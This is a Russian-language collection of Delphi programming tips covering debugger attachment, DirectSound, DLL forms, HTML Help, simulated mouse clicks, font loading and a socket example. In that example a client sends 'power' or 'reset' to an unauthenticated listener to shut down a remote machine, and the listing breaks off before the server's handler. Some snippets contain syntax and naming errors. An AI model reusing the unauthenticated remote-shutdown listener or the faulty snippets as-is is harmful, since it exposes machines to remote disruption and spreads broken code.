Если вы запускаете процесс сами, не забудьте указать в CreateProcess флажок DEBUG_ONLY_THIS_PROCESS, чтобы отладчик мог работать, и чтобы процессы, которые может запустить отлаживаемая программа не отлаживались нами (а зачем нам дочерние процессы? если хотим перехватывать вызовы и в них, проще будет ловить непосредственно CreateProcess, и для каждого "новорожденного" запускать свою копию отладчика. Тем более, что если мы присоединяемся к уже запущенному процессу, то система по умолчанию ставит флажок DEBUG_ONLY_THIS_PROCESS. Так что перехватывать CreateProcess надежнее).
Если же вы хотите присоединиться к уже запущенному процессу, то узнайте его Id (с помощью TaskManager в NT или программно), и смело пишите DebugActiveProcess(ProcessId). В дальнейшем никаких различий между работой с процессом, запущенным нами и процессом, к которому мы присоединились "на лету" уже нет.
И еще: учтите, что если наш отладчик завершится, то система автоматически прибьет и процесс, который мы имели счастье отлаживать. Способа "отсоединиться" от процесса нет: взялся за гуж, не говори, что не дюж. :-).
Также замечу, что полезно обрабатывать возможные ошибки при вызове системных функций. Здесь я их - в основном - смело игнорирую, но вам бы лучше так не поступать.
Полные рабочие исходники можно взять с нашего сайта: http://www.piranha-home.org. Если кто-то поможет в деле перевода статьи на английский - буду очень благодарен.
Использование DirectSound на Delphi.
Рабочий пример использования DirectSound на Delphi + несколько полезных процедур. В этом примере создается один первичный SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла. Первичный буфер создается процедурой AppCreateWritePrimaryBuffer, а любой вторичный - AppCreateWritePrimaryBuffer. Так как вторичный буфер связан с WAV файлом, то при создании буфера нужно определить его параметры в соответствии со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в виде параметров процедуры. Time - время WАV'файла в секундах (округление в сторону увеличения).
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
DirectSound: IDirectSound;
DirectSoundBuffer: IDirectSoundBuffer;
SecondarySoundBuffer: array [0..1] of IDirectSoundBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer; Bits: Word; isStereo:Boolean; Time: Integer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData; SoundBytes: DWord);
procedure CopyWAVToBuffer(name: PChar; var Buffer: IDirectSoundBuffer);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0], 22050, 8, False, 10);
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1], 22050, 16, True, 1);
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then
DirectSoundBuffer.Release;
for i:=0 to 1 do
if Assigned(SecondarySoundBuffer[i]) then
SecondarySoundBuffer[i].Release;
if Assigned(DirectSound) then
DirectSound.Release;
end;
procedure TForm1.AppWriteDataToBuffer;
var
AudioPtr1, AudioPtr2: Pointer;
AudioBytes1, AudioBytes2: DWord;
h: HResult;
Temp: Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0) <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
end
else
if H <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
Temp := @SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK then
raise Exception.Create('Unable to UnLock Sound Buffer');
end;
procedure TForm1.AppCreateWritePrimaryBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK then
raise Exception.Create('Unable to set Coopeative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK then
raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK then
raise Exception.Create('Unable to set Coopeative Level');
end;
procedure TForm1.AppCreateWriteSecondaryBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then PCM.nChannels:=2 else PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
end;
procedure TForm1.CopyWAVToBuffer;
var
Data: PChar;
FName: TFileStream;
DataSize: DWord;
Chunk: string[4];
Pos: Integer;
begin
FName:=TFileStream.Create(name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.read(Chunk[1],4);
Inc(Pos);
until
Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);
if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK then
ShowMessage('Can''t play the Sound');
if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK then
ShowMessage('Can''t play the Sound');
end;
end.
|
Использование функции из DLL.
Автор: Xavier Pacheco
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
library StrSrchLib;
uses
Wintypes,
WinProcs,
SysUtils,
Dialogs;
type
{ declare the callback function type }
TFoundStrProc = procedure(StrPos: PChar); StdCall;
function SearchStr(ASrcStr, ASearchStr: PChar; AProc: TFarProc): Integer;
stdcall;
{ This function looks for ASearchStr in ASrcStr. When if finds ASearchStr,
the callback procedure referred to by AProc is called if one has been
passed in. The user may pass nil as this parameter. }
var
FindStr: PChar;
begin
FindStr := ASrcStr;
FindStr := StrPos(FindStr, ASearchStr);
while FindStr <> nil do
begin
if AProc <> nil then
TFoundStrProc(AProc)(FindStr);
FindStr := FindStr + 1;
FindStr := StrPos(FindStr, ASearchStr);
end;
end;
exports
SearchStr;
begin
end.
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TMainForm = class(TForm)
btnCallDLLFunc: TButton;
edtSearchStr: TEdit;
lblSrchWrd: TLabel;
memStr: TMemo;
procedure btnCallDLLFuncClick(Sender: TObject);
end;
var
MainForm: TMainForm;
Count: Integer;
implementation
{$R *.DFM}
{ Define the DLL's exported procedure }
function SearchStr(ASrcStr, ASearchStr: PChar; AProc: TFarProc): Integer; stdcall
external
'STRSRCHLIB.DLL';
{ Define the callback procedure, make sure to use the StdCall directive }
procedure StrPosProc(AStrPsn: PChar); stdcall;
begin
inc(Count); // Increment the Count variable.
end;
procedure TMainForm.btnCallDLLFuncClick(Sender: TObject);
var
S: string;
S2: string;
begin
Count := 0; // Initialize Count to zero.
{ Retrieve the length of the text on which to search. }
SetLength(S, memStr.GetTextLen);
{ Now copy the text to the variable S }
memStr.GetTextBuf(PChar(S), memStr.GetTextLen);
{ Copy Edit1's Text to a string variable so that it can be passed to
the DLL function }
S2 := edtSearchStr.Text;
{ Call the DLL function }
SearchStr(PChar(S), PChar(S2), @StrPosProc);
{ Show how many times the word occurs in the string. This has been
stored in the Count variable which is used by the callback function }
ShowMessage(Format('%s %s %d %s', [edtSearchStr.Text, 'occurs', Count,
'times.']));
end;
end.
Использовать формы, объявленные в DLL.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
In the example that follows the exe only sees a totally "virtual
abstract" interface to the object as is being exported from the dll
but it still can create the object and use it.
Of course the exe can not see or execute any methods declared in the
exe but that is the whole purpose of implementing them in a custom dll
to begin with.
Im folgenden Beispiel sieht die Exe-Datei nur ein total "virtuelles, abstraktes"
Interface zum Objekt, welches aus der Dll importiert wird aber es
kann doch dieses Objekt erzeugen und es gebrauchen.
}
// Example code:
program Dlloader;
uses
Sharemem,
Forms,
exeunit1 in 'exeunit1.pas' {Form1},
DllIntfu in 'DllIntfu.pas';
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
//--------------------------
unit DllIntfu;
interface
type
TDllobject = class
protected
function Get_UserName: string; virtual; abstract;
procedure Set_UserName(Value: string); virtual; abstract;
public
property UserName: string read Get_UserName write Set_UserName;
end;
TDllobjectClass = class of TDllobject;
implementation
end.
//---------------------------
unit exeunit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, DllIntfu, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
TDllfunc = function: TDllobjectClass;
stdcall;
procedure TForm1.Button1Click(Sender: TObject);
var
i: DWORD;
fHandle: THandle;
fDllfunc: TDllfunc;
fDllobject: TDllobject;
fUserName: string;
begin
fHandle := LoadLibrary('UserName.dll');
if (fHandle <> 0) then
begin @fDllfunc := GetProcAddress(fHandle, 'Dllfunc');
if Assigned(@fDllfunc) then
begin
i := 255;
SetLength(fUserName, i);
GetUserName(PChar(fUserName), i);
fUserName := StrPas(PChar(fUserName));
fDllobject := fDllfunc.Create;
fDllobject.UserName := fUserName;
ShowMessage(fDllobject.UserName);
fDllobject.Free;
end;
FreeLibrary(fHandle);
end;
end;
end.
//-------------------------------
library UserName;
uses
Sharemem,
Sysutils,
DllIntfu;
type
TCustomDllobject = class(TDllobject)
private
fUserName: string;
function Getfilecount: Integer;
protected
function Get_UserName: string; override;
procedure Set_UserName(Value: string); override;
end;
TCustomDllobjectclass = class of TCustomDllobject;
function TCustomDllobject.Getfilecount: Integer;
var
doserr: Integer;
fsrch: TSearchRec;
begin
Result := 0;
doserr := FindFirst('*.*', faanyfile, fsrch);
if (doserr = 0) then
begin
while (doserr = 0) do
begin
if (fsrch.attr and faDirectory) = 0 then
Inc(Result);
doserr := findnext(fsrch);
end;
FindClose(fsrch);
end;
end;
function TCustomDllobject.Get_UserName: string;
begin
Result := 'You signed on as ''' + fUserName + '''' +
' and there ' + IntToStr(Getfilecount) +
' files in this directory.';
end;
procedure TCustomDllobject.Set_UserName(Value: string);
begin
fUserName := Value;
end;
function Dllfunc: TCustomDllobjectClass; stdcall;
begin
Result := TCustomDllobject; // class type only
end;
exports
Dllfunc name 'Dllfunc';
begin
end.
Как использовать форму из DLL.
| - Чем пользователь похож на обезьяну? - Поведением. Он жмет на все, что жмется, дергает все, что дергается и крутит все, что крутится. - Чем пользователь отличается от обезьяны? - Интеллектом. У обезьяны хватает ума не воспроизводить ту последовательность нажатий и дерганий, которую которая приводит к краху системы. |
Это файл Form.dpr, из которого получается DLL:
library Form;
uses
Classes,
Unit1 in 'Unit1.pas' {Form1};
exports
CreateMyForm,
DestroyMyForm;
end.
|
Это его Unit1:
unit Unit1;
interface
// раздел uses и определение класса Form1
procedure CreateMyForm(AppHandle: THandle); stdcall;
procedure DestroyMyForm; stdcall;
implementation
{$R *.DFM}
procedure CreateMyForm(AppHandle: THandle);
begin
Application.Handle := AppHandle;
Form1 := TForm1.Create(Application);
Form1.Show
end;
procedure DestroyMyForm;
begin
Form1.Free;
end;
end.
|
Это UnitCall вызывающего EXE-шника:
unit
UnitCall;
interface
// раздел uses и определение класса Form1
procedure CreateMyForm(AppHandle: THandle); stdcall; external 'Form.dll';
procedure DestroyMyForm; stdcall; external 'Form.dll';
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
CreateMyForm(Application.Handle);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
DestroyMyForm;
end;
end.
|
Использование файла помощи.
| Автор: Neil |
| Жизнь - игра, в которой нет tutorial`а. |
Вот код для трех стандартных пунктов меню "Help":
procedure TForm1.Contents1Click(Sender: TObject); begin Application.HelpCommand(HELP_CONTENTS, 0); end; procedure TForm1.SearchforHelpOn1Click(Sender: TObject); begin Application.HelpCommand(HELP_PARTIALKEY, 0); end; procedure TForm1.HowtoUseHelp1Click(Sender: TObject); begin Application.HelpCommand(HELP_HELPONHELP, 0); end; |
Использование справки HTML Help.
Автор: Oleg Gashev WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Использование справки HTML Help
Зависимости: hhctrl.ocx
Автор: Oleg Gashev, oleg@gashev.com, ICQ:115695048, Israel, Rehowot
Copyright: http://gashev.com
Дата: 04 мая 2002 г.
***************************************************** }
unit uHtmlHelp;
interface
uses Windows;
function HtmlHelpA(hwndCaller: HWND; pszFile: PAnsiChar;
uCommand: UInt; dwData: DWORD): HWND; stdcall; external 'hhctrl.ocx';
implementation
end.
unit SDIMAIN;
// Main Window
interface
uses........., uHtmlHelp, .....;
const
HH_CLOSE_ALL = $0012;
......
......
function TSDIAppForm.FormHelp(Command: Word; Data: Integer;
var CallHelp: Boolean): Boolean;
begin
HtmlHelpA(handle, PChar(m_HelpFile), 15, Data);
CallHelp := true;
end;
procedure TSDIAppForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
...........
HtmlHelpA(handle, PChar(m_HelpFile), HH_CLOSE_ALL, 0);
end;
end.
Вариант использования HTML Help в Делфи.
Автор: wl WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вариант использования HTML-Help в делфи
Зависимости: HHCtrl.ocx
Автор: wl, wl@ezmail.ru, Киров
Copyright: MSDN
Дата: 8 июля 2003 г.
***************************************************** }
// 1) После Uses... добавляешь:
const
HH_DISPLAY_TOPIC = $0000;
HH_HELP_FINDER = $0000; // WinHelp equivalent
HH_GET_WIN_HANDLE = $0006;
HH_DISPLAY_TEXT_POPUP = $000E;
// display string resource id or text in a popup window
HH_HELP_CONTEXT = $000F; // display mapped numeric value in dwData
HH_HELP_CONTEXTMENU = $0010; // text popup help
// 2) Перед секцией Implementation добавляешь:
function HtmlHelp(
hwndCaller: HWND;
pszFile: string;
uCommand: Integer;
dwData: integer): HWND; stdcall; external 'hhctrl.ocx' name 'HtmlHelpA';
// 3) В разделе Private у класса формы добавляешь:
procedure WMHelp(var aMessage: TWMHelp); message WM_HELP;
// 4) В разделе implementation пишешь:
// Если смотрим помощь по пунктам меню
function GetMenuHelpContext(Menu: TMenu; aMessage: TWMHelp): Integer;
begin
Result := 0;
if (Menu <> nil) then
begin
Result := Menu.GetHelpContext(aMessage.HelpInfo.iCtrlId, true);
if (Result = 0) then
Result := Menu.GetHelpContext(aMessage.HelpInfo.hItemHandle, false);
end;
end;
procedure TForm1.WMHelp(var aMessage: TWMHelp); // Предполагается, что класс
// формы называется TForm1
var
Control: TWinControl;
ContextId: integer;
hlp: HWND;
begin
if (aMessage.HelpInfo.iContextType = HELPINFO_WINDOW) then
begin
Control := FindControl(aMessage.HelpInfo.hItemHandle);
// Ищем активный компонент
while ((Control <> nil) and (Control.HelpContext = 0)) do
Control := Control.Parent;
if (Control = nil) then
Exit;
ContextId := Control.HelpContext; // Смотрим у него HelpContext
end
else
begin
ContextId := GetMenuHelpContext(Menu, aMessage); // Для меню
if (ContextId = 0) then
ContextId := GetMenuHelpContext(PopupMenu, aMessage);
end;
hlp := HtmlHelp(Handle, 'c:\WINDOWS\Help\joy.chm', HH_HELP_CONTEXT,
ContextId);
if (hlp = 0) then
ShowMessage('Помощь не найдена!');
end;
// 5) вместо 'c:\WINDOWS\Help\joy.chm' - подставляешь свой CHM - файл.
Пример использования: F1 в запущенной программе.
Как использовать процедуру mouse_event для имитации событий мыши.
| Один юзер другому: - Я себе счетчик на мышь поставил. Теперь я знаю, что моя мышь пробежала 1138 метров. |
На форму вынесены две кнопки. По нажатию первой напишем:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Button 1 clicked');
end;
|
А нажатие второй обработаем так:
procedure TForm1.Button2Click(Sender: TObject);
var
Pt: TPoint;
begin
{Позволим кнопке Button2 перерисоваться}
Application.ProcessMessages;
{Найдем координаты центра button 1}
Pt.x := Button1.Left + (Button1.Width div 2);
Pt.y := Button1.Top + (Button1.Height div 2);
{Преобразуем Pt к координатам экрана}
Pt := ClientToScreen(Pt);
{Преобразуем Pt к "mickeys" (аболютным координатам курсора мышки}
Pt.x := Round(Pt.x * (65535 / Screen.Width));
Pt.y := Round(Pt.y * (65535 / Screen.Height));
{Переместим курсор мыши}
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE, Pt.x, Pt.y, 0, 0);
{Имитируем нажатие левой кнопки мыши}
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, Pt.x, Pt.y, 0, 0);
{Имитируем отпускание левой кнопки мыши}
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, Pt.x, Pt.y, 0, 0);
end;
|
Использование многомерного массива.
Автор: Michael Day
type
RecType = integer; {<-- здесь задается тип элементов массива}
const
MaxRecItem = 65520 div sizeof(RecType);
type
= MyArrayType = array[0..MaxRecItem] of RecType;
type
= MyArrayTypePtr = ^MyArrayType;
var
MyArray: MyArrayTypePtr;
begin
ItemCnt := 10; {количество элементов массива, которые необходимо распределить}
GetMem(MyArray, ItemCnt * sizeof(MyArray[1])); {распределение массива}
MyArray^[3] := 10; {доступ к массиву}
FreeMem(MyArray, ItemCnt * sizeof(MyArray[1]));
{освобождаем массив после работы с ним}
end;
|
Использование холста в собственных компонентах.
Вот мой совет по использованию холста в компонентах собственного приготовления:
TScrollingPaintBox = class(TScrollingWinControl) private FCanvas: TCanvas; public constructor Create(aOwner: TComponent); override; destructor Destroy; override; property Canvas: TCanvas read FCanvas; end; constructor TScrollingPaintBox.Create(AOwner: TComponent); begin inherited Create(AOwner); FCanvas := TControlCanvas.Create; TControlCanvas(FCanvas).Control := Self; end; destructor TScrollingPaintBox.Destroy; begin FCanvas.Free; inherited Destroy; end; |
TControlCanvas важен, поскольку он создает DC, который принадлежит HWND элементу управления. Также, важно перекрытие вашего конструктора и деструктора, чтобы убедиться в том, что они действительно вызываются.
Как приложению воспользоваться своими шрифтами.
Может ли кто-нибудь подсказать или решить такую проблему: мне нужно убедиться, что мое приложение использует доступные, а не ближайшие шрифты, установленные пользователем в системе? Я пробовал копировать файл #.ttf в директорию пользователя windows\system, но мое приложение так и не смогло их увидеть и выбрать для дальнейшего использования. Ниже приведен код для Delphi, который динамически устанавливает шрифты, загружаемые только во время работы приложения. Вы можете расположить файл(ы) шрифтов в каталоге приложения. Они будут инсталлированы при загрузке формы и выгружены при ее разрушении. Вам возможно придется модифицировать код для работы с Delphi 2, поскольку он использует вызовы Windows API, которые могут как измениться, так и нет. Если в коде вы видите "...", то значит в этом месте может располагаться какой-либо код, не относящийся к существу вопроса.Ну и, конечно, вы должны заменить "MYFONT" на реальное имя файла вашего шрифта.
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
...
private
{ Private declarations }
bLoadedFont: boolean;
public
{ Public declarations }
end;
procedure TForm1.FormCreate(Sender: TObject);
var
sAppDir: string;
sFontRes: string;
begin
sAppDir := Application.ExeName;
sAppDir := copy(sAppDir, 1, rpos('\', sAppDir));
sFontRes := sAppDir + 'MYFONT.FOT';
if not FileExists(sFontRes) then
begin
sFontRes := sFontRes + #0;
sFont := sAppDir + 'MYFONT.TTF' + #0;
CreateScalableFontResource(0, @sFontRes[1], @sFont[1], nil);
end;
sFontRes := sAppDir + 'MYFONT.FOT';
if FileExists(sFontRes) then
begin
sFontRes := sFontRes + #0;
if AddFontResource(@sFontRes[1]) = 0 then
bLoadedFont := false
else
begin
bLoadedFont := true;
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
end;
...
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
sFontRes: string;
begin
if bLoadedFont then
begin
sFontRes := sAppDir + 'MYFONT.FOT' + #0;
RemoveFontResource(@sFontRes[1]);
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
end;
|
В результате процедура FormCreate стала выглядеть так:
var
sAppDir, sFontRes: string;
begin
{...другой код...}
sAppDir := extractfilepath(Application.ExeName);
sFontRes := sAppDir + 'MYFONT.TTF';
if FileExists(sFontRes) then
begin
sFontRes := sFontRes + #0;
if AddFontResource(@sFontRes[1]) = 0 then
bLoadedFont := false
else
begin
bLoadedFont := true;
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
end;
{...}
end; {FormCreate}
|
А FormDestroy так:
var
sFontRes, sAppDir: string;
begin
{...другой код...}
if bLoadedFont then
begin
sAppDir := extractfilepath(Application.ExeName);
sFontRes := sAppDir + 'MYFONT.TTF' + #0;
RemoveFontResource(@sFontRes[1]);
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
{...другой код...}
end; {FormDestroy}
|
Для упрощения этого я сделал простую функцию, совмещающую обе этих задачи. Она возвращает логическое значение, говорящая об успехе, или наоборот, о неудаче операции загрузки или выгрузки шрифта.
{1998-01-16 Функция загрузки и выгрузки шрифта.}
function LoadFont(sFontFileName: string; bLoadIt: boolean): boolean;
var
sFont, sAppDir, sFontRes: string;
begin
result := TRUE;
if bLoadIt then
begin
{Загрузка шрифта.}
if FileExists(sFontFileName) then
begin
sFontRes := sFontFileName + #0;
if AddFontResource(@sFontRes[1]) = 0 then
result := FALSE
else
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
end
else
begin
{Выгрузка шрифта.}
sFontRes := sFontFileName + #0;
result := RemoveFontResource(@sFontRes[1]);
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
end; {LoadFont}
|
Как использовать протокол about.
| - Вы никогда не задумывались, что кнопка Обновить в Internet Explorer может быть весьма полезной при виртуальном распитии спиртных напитков? |
Протокол "about:" позволяет Вам просмотреть HTML строку:
procedure TForm1.LoadHTMLString(sHTML: String);
var
Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
WebBrowser1.Navigate('about:' + sHTML, Flags,
TargetFrameName, PostData, Headers)
end;
|
Как можно использовать протокол res.
| - Что такое Интернет во Львове? - Что-то вроде секса в кладовке. Вроде и кайф, но темно, душно и неудобно. |
Протокол "res:" позволяет просмотреть HTML файл, сохранённый как ресурс. Более подробная информация доступна на Microsoft
procedure TForm1.LoadHTMLResource;
var
Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
WebBrowser1.Navigate('res://' + Application.ExeName + '/myhtml',
Flags, TargetFrameName, PostData, Headers);
end;
|
Создайте файл ресурса (*.rc) со следующими строками и откомпилируйте его при помощи brcc32.exe:
MYHTML 23 ".\html\myhtml.htm" MOREHTML 23 ".\html\morehtml.htm" |
Отредактируйте файл проекта, чтобы он выглядел примерно так:
{$R *.RES}
{$R HTML.RES} //где html.rc будет скомпилирован в html.res
|
Работа с Sender.
unit TestInputForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, DdhInpuB;
type
TForm1 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
DdhInputButton1: TDdhInputButton;
DdhInputButton2: TDdhInputButton;
DdhInputButton3: TDdhInputButton;
procedure DdhInputButtonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.DdhInputButtonClick(Sender: TObject);
begin
ShowMessage ('You''ve clicked the ' +
(Sender as TButton).Name + ','#13 +
'having the caption ' +
(Sender as TButton).Caption);
end;
end.
|
Загрузить исходный код проекта.
Использование ServerSocket и ClientSocket.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Client Program:
// Send 'power' to Client to shutdown the machine.
// Send 'reset' to Client to reset the machine.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ScktComp;
type
TForm1 = class(TForm)
Clientsocket1: TClientSocket;
StatusBar1: TStatusBar;
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Label1: TLabel;
Button3: TButton;
CheckBox1: TCheckBox;
Checkbox2: TCheckBox;
procedure Button1Click(Sender : TObject);
procedure Button2Click(Sender : TObject);
procedure Clientsocket1Error(Sender : TObject; Socket : TCustomWinSocket;
ErrorEvent : TErrorEvent; var ErrorCode : integer);
procedure Clientsocket1Disconnect(Sender : TObject;
Socket : TCustomWinSocket);
procedure Clientsocket1Connect(Sender : TObject;
Socket : TCustomWinSocket);
procedure Button3Click(Sender : TObject);
procedure FormClose(Sender : TObject; var Action : TCloseAction);
procedure FormDestroy(Sender : TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1 : TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender : TObject);
begin
Clientsocket1.Active := True;
end;
procedure TForm1.Button2Click(Sender : TObject);
begin
Clientsocket1.Active := False;
end;
procedure TForm1.Clientsocket1Error(Sender : TObject;
Socket : TCustomWinSocket; ErrorEvent : TErrorEvent;
var ErrorCode : integer);
begin
errorcode := 0;
StatusBar1.SimpleText := 'Error';
end;
procedure TForm1.Clientsocket1Disconnect(Sender : TObject;
Socket : TCustomWinSocket);
begin
StatusBar1.SimpleText := 'Disconnect';
end;
procedure TForm1.Clientsocket1Connect(Sender : TObject;
Socket : TCustomWinSocket);
begin
StatusBar1.SimpleText := Clientsocket1.Address;
end;
procedure TForm1.Button3Click(Sender : TObject);
var
ukaz : string;
orders : string;
Text : string;
box : string;
begin
ukaz := edit1.Text;
Clientsocket1.Socket.SendText(ukaz);
if checkbox1.Checked = True then
begin
orders := 'power';
Clientsocket1.Socket.SendText(orders);
end;
if Checkbox2.Checked = True then
begin
Text := 'reset';
Clientsocket1.Socket.SendText(Text);
end;
end;
procedure TForm1.FormClose(Sender : TObject; var Action : TCloseAction);
begin
Clientsocket1.Active := False;
end;
procedure TForm1.FormDestroy(Sender : TObject);
begin
Clientsocket1.Active := False;
end;
end.
// Client Program
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, ShellApi;
type
TForm1 = class(TForm)
Label1: TLabel;
Serversocket1: TServerSocket;
procedure FormClose(Sender : TObject; var Action : TCloseAction);
procedure FormDestroy(Sender : TObject);
procedure FormCreate(Sender : TObject);
procedure Serversocket1ClientError(Sender : TObject;
Socket : TCustomWinSocket; ErrorEvent : TErrorEvent;
var ErrorCode : integer);
procedure Serversocket1ClientRead(Sender : TObject;
Socket : TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1 : TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormClose(Sender : TObject; var Action : TCloseAction);
begin
Serversocket1.Active := False;
end;
procedure TForm1.FormDestroy(Sender : TObject);
begin
Serversocket1.Active := False;
end;
procedure TForm1.FormCreate(Sender : TObject);
begin
Serversocket1.Active := True;
end;
procedure TForm1.Serversocket1ClientError(Sender : TObject;
Socket : TCustomWinSocket; ErrorEvent : TErrorEvent;
var ErrorCode : integer);
begin
errorcode := 0;
end;
procedure TForm1.Serversocket1ClientRead(Sender : TObject;
Socket : TCustomWinSocket);
var
